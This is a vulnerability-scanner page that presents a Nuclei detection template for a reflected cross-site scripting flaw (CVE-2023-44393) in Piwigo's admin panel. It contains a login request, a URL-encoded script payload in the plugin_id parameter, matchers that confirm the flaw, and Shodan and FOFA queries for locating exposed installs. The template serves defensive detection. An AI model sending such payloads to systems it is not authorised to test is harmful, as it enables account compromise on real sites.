Piwigo - Cross-Site Scripting

ID: CVE-2023-44393

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,piwigo,xss,authenticated

Description

Piwigo is vulnerable to a reflected XSS in the admin panel where the plugin_id parameter is not properly sanitized.

YAML Source

id: CVE-2023-44393

info:
  name: Piwigo - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Piwigo is vulnerable to a reflected XSS in the admin panel where the `plugin_id` parameter is not properly sanitized.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update Piwigo to the latest version to mitigate the reflected XSS vulnerability.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-qg85-957m-7vgg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44393
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44393
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*
  metadata:
    vendor: piwigo
    product: piwigo
    shodan-query: http.favicon.hash:540706145
    fofa-query: title="piwigo"
  tags: cve,cve2023,piwigo,xss,authenticated

http:
  - raw:
      - |
        POST /identification.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=

      - |
        GET /admin.php?page=plugins&tab=new&installstatus=ok&plugin_id=nfez2%22%3E%3Cscript%3Eprompt(document.domain)%3C%2fscript%3Ehkugi HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>prompt(document.domain)</script>"
          - "The plugin has been successfully copied"
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022000f9e2702fa447f050dc77f3079f5f60493a8a57ea7e4a9b38257e9530fadabd022100dc4db3c990d81057d8293f91d7bc7a3d46164710ae73d9fa7088a26125ab988e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-44393.yaml"

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